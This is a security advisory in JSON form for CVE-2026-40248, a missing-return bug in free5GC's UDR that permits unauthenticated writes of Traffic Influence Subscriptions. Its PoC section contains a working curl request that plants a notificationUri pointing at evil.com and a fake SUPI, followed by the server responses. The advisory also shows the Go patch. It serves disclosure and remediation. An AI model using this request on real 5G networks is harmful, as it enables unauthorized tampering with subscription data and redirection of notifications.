CVE-2026-40248: Github.com/free5gc/udr Free5gc UDR Improper Path Validation Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jgq2-qv8v-5cmj",
  "modified" : "2026-04-24T20:36:00Z",
  "published" : "2026-04-14T20:00:45Z",
  "aliases" : [ "CVE-2026-40248" ],
  "summary" : "free5gc UDR improper path validation allows unauthenticated creation and modification of Traffic Influence Subscriptions",
  "details" : "### Summary\nAn improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.\n\n### Details\nThe endpoint `PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.\n\nIn the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:\n\n1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut`in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go`checks whether `influenceId != \"subs-to-notify\"`.\n2. If the value is different, it calls `c.String(http.StatusNotFound, \"404 page not found\")`, **but it does not return afterwards**.\n3. Execution continues, the request body is still parsed, and the handler calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, &trafficInfluSub)`.\n4. The processor creates or updates the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.\n\nAs a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still successfully create or modify the target subscription in the UDR.\n\nThe missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.\n\n### PoC\nNo authentication is required. The attacker can choose an arbitrary `subscriptionId`.\n\n```bash\ncurl -v -X PUT \"http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"notificationUri\":\"http://evil.com\",\n    \"dnns\":[\"internet\"],\n    \"supis\":[\"imsi-999999999999999\"]\n  }'\n```\n\nResponse:\n```\nHTTP/1.1 404 Not Found\n404 page not found{\"dnns\":[\"internet\"],\"supis\":[\"imsi-999999999999999\"],\"notificationUri\":\"http://evil.com\"}\n```\nNow verify that the object was actually written:\n\n```bash\ncurl -v \"http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid\"\n```\nResponse:\n```json\n{\"dnns\":[\"internet\"],\"supis\":[\"imsi-999999999999999\"],\"notificationUri\":\"http://evil.com\"}\n```\n### Impact\nThis is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.\n\nThis allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy-related notifications, corruption of subscription state, or disruption of legitimate network policy logic.\n\nThe attack is also difficult to detect because the API returns a misleading 404 Not Found response even when the write operation is actually performed.\n\nImpacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).\n\n### Patch\nThe vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go,\nfunction HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut:\n\n```go\nif influenceId != \"subs-to-notify\" {\n    c.String(http.StatusNotFound, \"404 page not found\")\n    return\n}\n```\nWith the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not create or modify subscription data.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/free5gc/udr"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.4.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/security/advisories/GHSA-jgq2-qv8v-5cmj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40248"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/free5gc/udr"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-285", "CWE-636" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-14T20:00:45Z",
    "nvd_published_at" : "2026-04-16T22:16:38Z"
  }
}